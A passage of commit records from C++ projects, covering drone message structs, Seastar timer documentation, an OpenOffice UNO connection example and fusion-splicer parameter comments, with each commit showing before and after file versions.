data[100];\n} __attribute__((packed));\n\nstruct attitude_message_t {\n enum { ID = 0x02 };\n\n uint32_t time;\n float dcm[9];\n} __attribute__((packed));\n\nstruct set_arm_state_message_t {\n enum { ID = 0x03 };\n\n bool armed;\n} __attribute__((packed));\n\nstruct set_control_mode_message_t {\n enum { ID = 0x04 };\n\n enum class ControlMode {\n MANUAL,\n OFFBOARD\n };\n\n ControlMode mode;\n} __attribute__((packed));\n\nstruct offboard_attitude_control_message_t {\n enum { ID = 0x05 };\n\n float roll;\n float pitch;\n float yaw;\n float throttle;\n uint16_t buttons; \/\/ Bitfield of buttons\n uint8_t mode;\n} __attribute__((packed));\n\nstruct motor_throttle_message_t {\n enum { ID = 0x06 };\n\n uint32_t time;\n float throttles[4];\n} __attribute__((packed));\n\nstruct sensor_calibration_request_message_t {\n enum { ID = 0x07 };\n} __attribute__((packed));\n\nstruct sensor_calibration_response_message_t {\n enum { ID = 0x08 };\n\n enum class SensorType {\n ACCEL,\n GYRO,\n MAG\n };\n\n SensorType type;\n float offsets[3];\n} __attribute__((packed));\n\nstruct location_message_t {\n enum { ID = 0x09 };\n\n uint32_t time;\n float lat;\n float lon;\n float alt;\n} __attribute__((packed));\n\nstruct imu_message_t {\n enum { ID = 0x0a };\n uint32_t time;\n float gyro[3]; \/\/ Gyroscope\n float accel[3]; \/\/ Accelerometer\n} __attribute__((packed));\n\nstruct system_message_t {\n enum { ID = 0x0b };\n\n uint32_t time;\n uint8_t state;\n float motorDC; \/\/ TODO(yoos): Hack for esra test launch\n} __attribute__((packed));\n\nstruct raw_1000_message_t {\n enum { ID = 0x0c };\n uint32_t time;\n float accel[3]; \/\/ Accelerometer\n float accelH[3]; \/\/ High-g accel\n float gyro[3]; \/\/ Gyroscope\n} __attribute__((packed));\n\nstruct raw_50_message_t {\n enum { ID = 0x0d };\n uint32_t time;\n float bar; \/\/ Barometric pressure\n float temp; \/\/ Temperature\n float mag[3]; \/\/ Magnetometer\n} __attribute((packed));\n\nstruct raw_10_message_t {\n enum { ID = 0x0e };\n uint32_t time;\n float lat;\n float lon;\n float utc; \/\/ UTC time\n} __attribute((packed));\n\ninline std::uint16_t length(int id) {\n \/\/ TODO(kyle): sizeof(empty struct) is 1 in C++...\n switch(id) {\n case heartbeat_message_t::ID:\n return sizeof(heartbeat_message_t);\n case log_message_t::ID:\n return sizeof(log_message_t);\n case attitude_message_t::ID:\n return sizeof(attitude_message_t);\n case set_arm_state_message_t::ID:\n return sizeof(set_arm_state_message_t);\n case set_control_mode_message_t::ID:\n return sizeof(set_control_mode_message_t);\n case offboard_attitude_control_message_t::ID:\n return sizeof(offboard_attitude_control_message_t);\n case motor_throttle_message_t::ID:\n return sizeof(motor_throttle_message_t);\n case sensor_calibration_request_message_t::ID:\n return sizeof(sensor_calibration_request_message_t);\n case sensor_calibration_response_message_t::ID:\n return sizeof(sensor_calibration_response_message_t);\n case location_message_t::ID:\n return sizeof(location_message_t);\n case imu_message_t::ID:\n return sizeof(imu_message_t);\n case system_message_t::ID:\n return sizeof(system_message_t);\n case raw_1000_message_t::ID:\n return sizeof(raw_1000_message_t);\n case raw_50_message_t::ID:\n return sizeof(raw_50_message_t);\n case raw_10_message_t::ID:\n return sizeof(raw_10_message_t);\n }\n\n return 0; \/\/ TODO(kyle): Return something more meaningful?\n}\n\n}\n}\n\n#endif \/\/ MESSAGES_HPP_\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\"). See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership. You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\/*\n * Copyright 2015 Cloudius Systems\n *\/\n\n#pragma once\n\n#include <chrono>\n#include <seastar\/util\/std-compat.hh>\n#include <atomic>\n#include <functional>\n#include <seastar\/core\/future.hh>\n#include <seastar\/core\/timer-set.hh>\n#include <seastar\/core\/scheduling.hh>\n\nnamespace seastar {\n\nusing steady_clock_type = std::chrono::steady_clock;\n\ntemplate <typename Clock = steady_clock_type>\nclass timer {\npublic:\n typedef typename Clock::time_point time_point;\n typedef typename Clock::duration duration;\n typedef Clock clock;\nprivate:\n using callback_t = noncopyable_function<void()>;\n boost::intrusive::list_member_hook<> _link;\n scheduling_group _sg;\n callback_t _callback;\n time_point _expiry;\n compat::optional<duration> _period;\n bool _armed = false;\n bool _queued = false;\n bool _expired = false;\n void readd_periodic();\n void arm_state(time_point until, compat::optional<duration> period) {\n assert(!_armed);\n _period = period;\n _armed = true;\n _expired = false;\n _expiry = until;\n _queued = true;\n }\npublic:\n timer() = default;\n timer(timer&& t) noexcept : _sg(t._sg), _callback(std::move(t._callback)), _expiry(std::move(t._expiry)), _period(std::move(t._period)),\n _armed(t._armed), _queued(t._queued), _expired(t._expired) {\n _link.swap_nodes(t._link);\n t._queued = false;\n t._armed = false;\n }\n timer(scheduling_group sg, callback_t&& callback) : _sg(sg), _callback{std::move(callback)} {\n }\n explicit timer(callback_t&& callback) : timer(current_scheduling_group(), std::move(callback)) {\n }\n ~timer();\n void set_callback(scheduling_group sg, callback_t&& callback) {\n _sg = sg;\n _callback = std::move(callback);\n }\n void set_callback(callback_t&& callback) {\n set_callback(current_scheduling_group(), std::move(callback));\n }\n void arm(time_point until, compat::optional<duration> period = {});\n void rearm(time_point until, compat::optional<duration> period = {}) {\n if (_armed) {\n cancel();\n }\n arm(until, period);\n }\n void arm(duration delta) {\n return arm(Clock::now() + delta);\n }\n void arm_periodic(duration delta) {\n arm(Clock::now() + delta, {delta});\n }\n bool armed() const { return _armed; }\n bool cancel();\n time_point get_timeout() {\n return _expiry;\n }\n friend class reactor;\n friend class timer_set<timer, &timer::_link>;\n};\n\nextern template class timer<steady_clock_type>;\n\n}\n\n<commit_msg>timer: document<commit_after>\/*\n * This file is open source software, licensed to you under the terms\n * of the Apache License, Version 2.0 (the \"License\"). See the NOTICE file\n * distributed with this work for additional information regarding copyright\n * ownership. You may not use this file except in compliance with the License.\n *\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n *\/\n\/*\n * Copyright 2015 Cloudius Systems\n *\/\n\n#pragma once\n\n#include <chrono>\n#include <seastar\/util\/std-compat.hh>\n#include <atomic>\n#include <functional>\n#include <seastar\/core\/future.hh>\n#include <seastar\/core\/timer-set.hh>\n#include <seastar\/core\/scheduling.hh>\n\n\/\/\/ \\file\n\n\/\/\/ \\defgroup timers Timers\n\/\/\/\n\/\/\/ Seastar provides timers that can be defined to run a callback at a certain\n\/\/\/ time point in the future; timers are provided for \\ref lowres_clock (10ms\n\/\/\/ resolution, efficient), for std::chrono::steady_clock (accurate but less\n\/\/\/ efficient) and for \\ref manual_clock_type (for testing purposes).\n\/\/\/\n\/\/\/ Timers are optimized for cancellation; that is, adding a timer and cancelling\n\/\/\/ it is very efficient. This means that attaching a timer per object for\n\/\/\/ a timeout that rarely happens is reasonable; one does not have to maintain\n\/\/\/ a single timer and a sorted list for this use case.\n\/\/\/\n\/\/\/ Timer callbacks should be short and execute quickly. If involved processing\n\/\/\/ is required, a timer can launch a continuation.\n\nnamespace seastar {\n\nusing steady_clock_type = std::chrono::steady_clock;\n\n\n\/\/\/ \\addtogroup timers\n\/\/\/ @{\n\n\/\/\/ Timer - run a callback at a certain time point in the future.\n\/\/\/\n\/\/\/ Timer callbacks should execute quickly. If more involved computation\n\/\/\/ is required, the timer should launch it as a fiber (or signal an\n\/\/\/ existing fiber to continue execution). Fibers launched from a timer\n\/\/\/ callback are executed under the scheduling group that was current\n\/\/\/ when the timer was created (see current_scheduling_group()), or the\n\/\/\/ scheduling that was given explicitly by the caller when the callback\n\/\/\/ was specified.\n\/\/\/\n\/\/\/ Expiration of a `timer<std::chrono::steady_clock>` is independent of\n\/\/\/ task_quota, so it has relatively high accuracy, but as a result this\n\/\/\/ is a relatively expensive timer. It is recommended to use `timer<lowres_clock>`\n\/\/\/ instead, which has very coarse resolution (~10ms) but is quite efficient.\n\/\/\/ It is suitable for most user timeouts.\n\/\/\/\n\/\/\/ \\tparam Clock type of clock used to denote time points; can be\n\/\/\/ std::chrono::steady_clock_type (default), lowres_clock (more efficient\n\/\/\/ but with less resolution) and manual_clock_type (fine-grained control\n\/\/\/ for testing.\ntemplate <typename Clock = steady_clock_type>\nclass timer {\npublic:\n typedef typename Clock::time_point time_point;\n typedef typename Clock::duration duration;\n typedef Clock clock;\nprivate:\n using callback_t = noncopyable_function<void()>;\n boost::intrusive::list_member_hook<> _link;\n scheduling_group _sg;\n callback_t _callback;\n time_point _expiry;\n compat::optional<duration> _period;\n bool _armed = false;\n bool _queued = false;\n bool _expired = false;\n void readd_periodic();\n void arm_state(time_point until, compat::optional<duration> period) {\n assert(!_armed);\n _period = period;\n _armed = true;\n _expired = false;\n _expiry = until;\n _queued = true;\n }\npublic:\n \/\/\/ Constructs a timer with no callback set and no expiration time.\n timer() = default;\n \/\/\/ Constructs a timer from another timer that is moved from.\n \/\/\/\n \/\/\/ \\note care should be taken when moving a timer whose callback captures `this`,\n \/\/\/ since the object pointed to by `this` may have been moved as well.\n timer(timer&& t) noexcept : _sg(t._sg), _callback(std::move(t._callback)), _expiry(std::move(t._expiry)), _period(std::move(t._period)),\n _armed(t._armed), _queued(t._queued), _expired(t._expired) {\n _link.swap_nodes(t._link);\n t._queued = false;\n t._armed = false;\n }\n \/\/\/ Constructs a timer with a callback. The timer is not armed.\n \/\/\/\n \/\/\/ \\param sg Scheduling group to run the callback under.\n \/\/\/ \\param callback function (with signature `void ()`) to execute after the timer is armed and expired.\n timer(scheduling_group sg, noncopyable_function<void ()>&& callback) : _sg(sg), _callback{std::move(callback)} {\n }\n \/\/\/ Constructs a timer with a callback. The timer is not armed.\n \/\/\/\n \/\/\/ \\param callback function (with signature `void ()`) to execute after the timer is armed and expired.\n explicit timer(noncopyable_function<void ()>&& callback) : timer(current_scheduling_group(), std::move(callback)) {\n }\n \/\/\/ Destroys the timer. The timer is cancelled if armed.\n ~timer();\n \/\/\/ Sets the callback function to be called when the timer expires.\n \/\/\/\n \/\/\/ \\param sg the scheduling group under which the callback will be executed.\n \/\/\/ \\param callback the callback to be executed when the timer expires.\n void set_callback(scheduling_group sg, noncopyable_function<void ()>&& callback) {\n _sg = sg;\n _callback = std::move(callback);\n }\n \/\/\/ Sets the callback function to be called when the timer expires.\n \/\/\/\n \/\/\/ \\param callback the callback to be executed when the timer expires.\n void set_callback(noncopyable_function<void ()>&& callback) {\n set_callback(current_scheduling_group(), std::move(callback));\n }\n \/\/\/ Sets the timer expiration time.\n \/\/\/\n \/\/\/ It is illegal to arm a timer that has already been armed (and\n \/\/\/ not disarmed by expiration or cancel()). In the current\n \/\/\/ implementation, this will result in an assertion failure. See\n \/\/\/ rearm().\n \/\/\/\n \/\/\/ \\param until the time when the timer expires\n \/\/\/ \\param period optional automatic rearm duration; if given the timer\n \/\/\/ will automatically rearm itself when it expires, using the period\n \/\/\/ to calculate the next expiration time.\n void arm(time_point until, compat::optional<duration> period = {});\n \/\/\/ Sets the timer expiration time. If the timer was already armed, it is\n \/\/\/ canceled first.\n \/\/\/\n \/\/\/ \\param until the time when the timer expires\n \/\/\/ \\param period optional automatic rearm duration; if given the timer\n \/\/\/ will automatically rearm itself when it expires, using the period\n \/\/\/ to calculate the next expiration time.\n void rearm(time_point until, compat::optional<duration> period = {}) {\n if (_armed) {\n cancel();\n }\n arm(until, period);\n }\n \/\/\/ Sets the timer expiration time.\n \/\/\/\n \/\/\/ It is illegal to arm a timer that has already been armed (and\n \/\/\/ not disarmed by expiration or cancel()). In the current\n \/\/\/ implementation, this will result in an assertion failure. See\n \/\/\/ rearm().\n \/\/\/\n \/\/\/ \\param delta the time when the timer expires, relative to now\n void arm(duration delta) {\n return arm(Clock::now() + delta);\n }\n \/\/\/ Sets the timer expiration time, with automatic rearming\n \/\/\/\n \/\/\/ \\param delta the time when the timer expires, relative to now. The timer\n \/\/\/ will also rearm automatically using the same delta time.\n void arm_periodic(duration delta) {\n arm(Clock::now() + delta, {delta});\n }\n \/\/\/ Returns whether the timer is armed\n \/\/\/\n \/\/\/ \\return `true` if the timer is armed and has not expired yet.\n bool armed() const { return _armed; }\n \/\/\/ Cancels an armed timer.\n \/\/\/\n \/\/\/ If the timer was armed, it is disarmed. If the timer was not\n \/\/\/ armed, does nothing.\n \/\/\/\n \/\/\/ \\return `true` if the timer was armed before the call.\n bool cancel();\n \/\/\/ Gets the expiration time of an armed timer.\n \/\/\/\n \/\/\/ \\return the time at which the timer is scheduled to expire (undefined if the\n \/\/\/ timer is not armed).\n time_point get_timeout() {\n return _expiry;\n }\n friend class reactor;\n friend class timer_set<timer, &timer::_link>;\n};\n\nextern template class timer<steady_clock_type>;\n\n\n\/\/\/ @}\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: office_connect.cxx,v $\n *\n * $Revision: 1.6 $\n *\n * last change: $Author: kz $ $Date: 2006-11-06 15:03:17 $\n *\n * The Contents of this file are made available subject to the terms of\n * the BSD license.\n *\n * Copyright (c) 2003 by Sun Microsystems, Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * 3. Neither the name of Sun Microsystems, Inc. nor the names of its\n * contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR\n * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE\n * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *************************************************************************\/\n\n#include <stdio.h>\n\n#include <cppuhelper\/bootstrap.hxx>\n#include <com\/sun\/star\/bridge\/XUnoUrlResolver.hpp>\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n\nusing namespace com::sun::star::uno;\nusing namespace com::sun::star::lang;\nusing namespace com::sun::star::bridge;\nusing namespace rtl;\nusing namespace cppu;\n\nint main( )\n{\n \/\/ create the initial component context\n Reference< XComponentContext > rComponentContext =\n defaultBootstrap_InitialComponentContext();\n\n \/\/ retrieve the servicemanager from the context\n Reference< XMultiComponentFactory > rServiceManager =\n rComponentContext->getServiceManager();\n\n \/\/ instantiate a sample service with the servicemanager.\n Reference< XInterface > rInstance =\n rServiceManager->createInstanceWithContext(\n OUString::createFromAscii(\"com.sun.star.bridge.UnoUrlResolver\" ),\n rComponentContext );\n\n \/\/ Query for the XUnoUrlResolver interface\n Reference< XUnoUrlResolver > rResolver( rInstance, UNO_QUERY );\n\n if( ! rResolver.is() )\n {\n printf( \"Error: Couldn't instantiate com.sun.star.bridge.UnoUrlResolver service\\n\" );\n return 1;\n }\n try\n {\n \/\/ resolve the uno-url\n rInstance = rResolver->resolve( OUString::createFromAscii(\n \"uno:socket,host=localhost,port=2083;urp;StarOffice.ServiceManager\" ) );\n\n if( ! rInstance.is() )\n {\n printf( \"StarOffice.ServiceManager is not exported from remote counterpart\\n\" );\n return 1;\n }\n\n \/\/ query for the simpler XMultiServiceFactory interface, sufficient for scripting\n Reference< XMultiServiceFactory > rOfficeServiceManager (rInstance, UNO_QUERY);\n\n if( ! rInstance.is() )\n {\n printf( \"XMultiServiceFactory interface is not exported for StarOffice.ServiceManager\\n\" );\n return 1;\n }\n\n printf( \"Connected sucessfully to the office\\n\" );\n }\n catch( Exception &e )\n {\n OString o = OUStringToOString( e.Message, RTL_TEXTENCODING_ASCII_US );\n printf( \"Error: %s\\n\", o.pData->buffer );\n return 1;\n }\n return 0;\n}\n<commit_msg>INTEGRATION: CWS jsc21 (1.6.92); FILE MERGED 2008\/05\/21 15:03:04 jsc 1.6.92.1: #i88797# adapted to new structure<commit_after>\/*************************************************************************\n *\n * $RCSfile: office_connect.cxx,v $\n *\n * $Revision: 1.7 $\n *\n * last change: $Author: rt $ $Date: 2008-07-11 14:24:32 $\n *\n * The Contents of this file are made available subject to the terms of\n * the BSD license.\n *\n * Copyright (c) 2003 by Sun Microsystems, Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution.\n * 3. Neither the name of Sun Microsystems, Inc. nor the names of its\n * contributors may be used to endorse or promote products derived\n * from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR\n * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE\n * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *************************************************************************\/\n\n#include <stdio.h>\n\n#include <cppuhelper\/bootstrap.hxx>\n#include <com\/sun\/star\/bridge\/XUnoUrlResolver.hpp>\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#include <com\/sun\/star\/lang\/XMultiComponentFactory.hpp>\n\nusing namespace com::sun::star::uno;\nusing namespace com::sun::star::lang;\nusing namespace com::sun::star::bridge;\nusing namespace rtl;\nusing namespace cppu;\n\nint main( )\n{\n \/\/ create the initial component context\n Reference< XComponentContext > rComponentContext =\n defaultBootstrap_InitialComponentContext();\n\n \/\/ retrieve the servicemanager from the context\n Reference< XMultiComponentFactory > rServiceManager =\n rComponentContext->getServiceManager();\n\n \/\/ instantiate a sample service with the servicemanager.\n Reference< XInterface > rInstance =\n rServiceManager->createInstanceWithContext(\n OUString::createFromAscii(\"com.sun.star.bridge.UnoUrlResolver\" ),\n rComponentContext );\n\n \/\/ Query for the XUnoUrlResolver interface\n Reference< XUnoUrlResolver > rResolver( rInstance, UNO_QUERY );\n\n if( ! rResolver.is() )\n {\n printf( \"Error: Couldn't instantiate com.sun.star.bridge.UnoUrlResolver service\\n\" );\n return 1;\n }\n try\n {\n \/\/ resolve the uno-url\n rInstance = rResolver->resolve( OUString::createFromAscii(\n \"uno:socket,host=localhost,port=2083;urp;StarOffice.ServiceManager\" ) );\n\n if( ! rInstance.is() )\n {\n printf( \"StarOffice.ServiceManager is not exported from remote counterpart\\n\" );\n return 1;\n }\n\n \/\/ query for the simpler XMultiServiceFactory interface, sufficient for scripting\n Reference< XMultiServiceFactory > rOfficeServiceManager (rInstance, UNO_QUERY);\n\n if( ! rInstance.is() )\n {\n printf( \"XMultiServiceFactory interface is not exported for StarOffice.ServiceManager\\n\" );\n return 1;\n }\n\n printf( \"Connected sucessfully to the office\\n\" );\n }\n catch( Exception &e )\n {\n OString o = OUStringToOString( e.Message, RTL_TEXTENCODING_ASCII_US );\n printf( \"Error: %s\\n\", o.pData->buffer );\n return 1;\n }\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n\n#include \"zmsg_utils.hpp\"\n#include \"zmsg_types.hpp\"\n\nnamespace zmsg {\n\ntemplate<>\nstruct zmsg<mid_t::set_fs_spec> {\npublic:\n\tint32_t window_x_row;\t\t\t\/\/ unit: pixel\n\tint32_t window_x_col;\t\t\t\/\/ unit: pixel\n\tint32_t window_y_row;\t\t\t\/\/ unit: pixel\n\tint32_t window_y_col;\t\t\t\/\/ unit: pixel\n\n\t\/*deprecated*\/ uint32_t nm_per_pixel;\t\t\t\/\/ unit: nm\/pixel\n\n\tdouble zmotor_spec_nm_per_step;\t\t\/\/ unit: nm\/step\n\n\tdouble lz_nm_per_step;\t\t\t\/\/ unit: nm\/step\n\tdouble rz_nm_per_step;\t\t\t\/\/ unit: nm\/step\n\n\tuint16_t img_cap_delay;\t\t\t\/\/ unit: ms\n\n\tdouble clr_discharge_strength; \t\/\/ unit: volt\n\tuint32_t clr_discharge_gap;\t\t\/\/ unit: nm\n\tuint16_t check_fiber_exist_time;\t\/\/ unit: ms\n\n\tstd::array<uint16_t, motorId_t::NUM>\tmotor_min_speed;\n\tstd::array<uint16_t, motorId_t::NUM>\tmotor_max_speed;\n\n\tdouble entering_speed;\n\tdouble push1_speed;\n\tdouble push2_stage1_speed;\n\tdouble push2_stage2_speed;\n\tdouble manual_calibrate_speed;\n\tdouble motor_xy_precise_calibrate_speed;\n\tdouble tensionSpeed;\n\n\tuint32_t tensionStretchLength;\n\n\tuint16_t motor_xy_steps_per_pixel;\t\/\/ unit: step\/pixel\n\n\tdouble fiber_outline_blacklevel;\t\t\/\/ 0.0 ~ 1.0\n\tdouble calibrating_xy_dist_threshold;\t\t\/\/ unit: pixel\n\tdouble precise_calibrating_xy_dist_threshold;\t\/\/ unit: pixel\n\tdouble z_dist_threshold;\t\t\t\/\/ unit: pixel\n\n\tdischarge_data_t discharge_base;\n\tdischarge_data_t discharge_revise;\n\n\tdouble dust_check_threshold0;\n\tdouble dust_check_threshold1;\n\tuint16_t img_denoise_threshold;\n\n\tstd::array<double, ledId_t::LED_NUM>\tled_brightness;\n\tdouble x_focal_distance;\n\tdouble y_focal_distance;\n\n\tdouble zmotor_speed_factor;\n\tdouble zmotor_speed_pow;\n\tdouble zmotor_speed_max;\t\t\/\/\/ 0.0 ~ 1.0\n\n\tdouble xymotor_speed_factor;\n\tdouble xymotor_speed_pow;\n\tdouble xymotor_speed_max;\t\t\/\/\/ 0.0 ~ 1.0\n\n\tdouble zmotor_forward_distance;\t\/\/\/ unit: nm\n\tdouble zmotor_stroke;\t\t\t\/\/\/ unit: nm\n\n\tdouble dbg_hangle_limit;\t\t\/\/\/ unit: degree\n\tdouble dbg_vangle_limit;\t\t\/\/\/ unit: degree\n\n\tdouble pre_cal_xy_dist_threshold_relax_ratio;\n\n\tstd::array<rt_revise_data_t, to_val(fiber_t::max)> rt_revise_data;\n\n\tdouble\tloss_factor;\npublic:\n ZMSG_PU(\n\t\twindow_x_row,\n\t\twindow_x_col,\n\t\twindow_y_row,\n\t\twindow_y_col,\n\n\t\tnm_per_pixel,\n\t\tzmotor_spec_nm_per_step,\n\t\tlz_nm_per_step,\n\t\trz_nm_per_step,\n\n\t\timg_cap_delay,\n\n\t\tclr_discharge_strength,\n\t\tclr_discharge_gap,\n\t\tcheck_fiber_exist_time,\n\n\t\tmotor_min_speed,\n\t\tmotor_max_speed,\n\n\t\tentering_speed,\n\t\tpush1_speed,\n\t\tpush2_stage1_speed,\n\t\tpush2_stage2_speed,\n\t\tmanual_calibrate_speed,\n\t\tmotor_xy_precise_calibrate_speed,\n\t\ttensionSpeed,\n\n\t\ttensionStretchLength,\n\n\t\tmotor_xy_steps_per_pixel,\n\n\t\tfiber_outline_blacklevel,\n\t\tcalibrating_xy_dist_threshold,\n\t\tprecise_calibrating_xy_dist_threshold,\n\t\tz_dist_threshold,\n\n\t\tdischarge_base,\n\t\tdischarge_revise,\n\n\t\tdust_check_threshold0,\n\t\tdust_check_threshold1,\n\t\timg_denoise_threshold,\n\n\t\tled_brightness,\n\n\t\tx_focal_distance,\n\t\ty_focal_distance,\n\n\t\tzmotor_speed_factor,\n\t\tzmotor_speed_pow,\n\t\tzmotor_speed_max,\n\n\t\txymotor_speed_factor,\n\t\txymotor_speed_pow,\n\t\txymotor_speed_max,\n\n\t\tzmotor_forward_distance,\n\t\tzmotor_stroke,\n\n\t\tdbg_hangle_limit,\n\t\tdbg_vangle_limit,\n\n\t\tpre_cal_xy_dist_threshold_relax_ratio,\n\n\t\trt_revise_data,\n\n\t\tloss_factor)\n};\n\ntemplate<>\nstruct zmsg<mid_t::update_led_brightness> {\npublic:\n\tledId_t id;\n\tdouble brightness;\npublic:\n ZMSG_PU(id,\n\t\tbrightness)\n};\n\ntemplate<>\nstruct zmsg<mid_t::update_window_position> {\n\tbool is_pos_x;\n\tint32_t row;\n\tint32_t column;\npublic:\n\tZMSG_PU(is_pos_x,row,column)\n};\n\ntemplate<>\nstruct zmsg<mid_t::update_cmos_focal_distance> {\npublic:\n\tdouble x_focal_distance;\n\tdouble y_focal_distance;\npublic:\n\tZMSG_PU(x_focal_distance, y_focal_distance)\n};\n\n}\n<commit_msg>add comment for motor_speed_factor<commit_after>#pragma once\n\n#include \"zmsg_utils.hpp\"\n#include \"zmsg_types.hpp\"\n\nnamespace zmsg {\n\ntemplate<>\nstruct zmsg<mid_t::set_fs_spec> {\npublic:\n\tint32_t window_x_row;\t\t\t\/\/ unit: pixel\n\tint32_t window_x_col;\t\t\t\/\/ unit: pixel\n\tint32_t window_y_row;\t\t\t\/\/ unit: pixel\n\tint32_t window_y_col;\t\t\t\/\/ unit: pixel\n\n\t\/*deprecated*\/ uint32_t nm_per_pixel;\t\t\t\/\/ unit: nm\/pixel\n\n\tdouble zmotor_spec_nm_per_step;\t\t\/\/ unit: nm\/step\n\n\tdouble lz_nm_per_step;\t\t\t\/\/ unit: nm\/step\n\tdouble rz_nm_per_step;\t\t\t\/\/ unit: nm\/step\n\n\tuint16_t img_cap_delay;\t\t\t\/\/ unit: ms\n\n\tdouble clr_discharge_strength; \t\/\/ unit: volt\n\tuint32_t clr_discharge_gap;\t\t\/\/ unit: nm\n\tuint16_t check_fiber_exist_time;\t\/\/ unit: ms\n\n\tstd::array<uint16_t, motorId_t::NUM>\tmotor_min_speed;\n\tstd::array<uint16_t, motorId_t::NUM>\tmotor_max_speed;\n\n\tdouble entering_speed;\n\tdouble push1_speed;\n\tdouble push2_stage1_speed;\n\tdouble push2_stage2_speed;\n\tdouble manual_calibrate_speed;\n\tdouble motor_xy_precise_calibrate_speed;\n\tdouble tensionSpeed;\n\n\tuint32_t tensionStretchLength;\n\n\tuint16_t motor_xy_steps_per_pixel;\t\/\/ unit: step\/pixel\n\n\tdouble fiber_outline_blacklevel;\t\t\/\/ 0.0 ~ 1.0\n\tdouble calibrating_xy_dist_threshold;\t\t\/\/ unit: pixel\n\tdouble precise_calibrating_xy_dist_threshold;\t\/\/ unit: pixel\n\tdouble z_dist_threshold;\t\t\t\/\/ unit: pixel\n\n\tdischarge_data_t discharge_base;\n\tdischarge_data_t discharge_revise;\n\n\tdouble dust_check_threshold0;\n\tdouble dust_check_threshold1;\n\tuint16_t img_denoise_threshold;\n\n\tstd::array<double, ledId_t::LED_NUM>\tled_brightness;\n\tdouble x_focal_distance;\n\tdouble y_focal_distance;\n\n\tdouble zmotor_speed_factor;\t\t\/\/\/ unit: um\n\tdouble zmotor_speed_pow;\n\tdouble zmotor_speed_max;\t\t\/\/\/ 0.0 ~ 1.0\n\n\tdouble xymotor_speed_factor;\t\t\/\/\/ unit: um\n\tdouble xymotor_speed_pow;\n\tdouble xymotor_speed_max;\t\t\/\/\/ 0.0 ~ 1.0\n\n\tdouble zmotor_forward_distance;\t\/\/\/ unit: nm\n\tdouble zmotor_stroke;\t\t\t\/\/\/ unit: nm\n\n\tdouble dbg_hangle_limit;\t\t\/\/\/ unit: degree\n\tdouble dbg_vangle_limit;\t\t\/\/\/ unit: degree\n\n\tdouble pre_cal_xy_dist_threshold_relax_ratio;\n\n\tstd::array<rt_revise_data_t, to_val(fiber_t::max)> rt_revise_data;\n\n\tdouble\tloss_factor;\npublic:\n 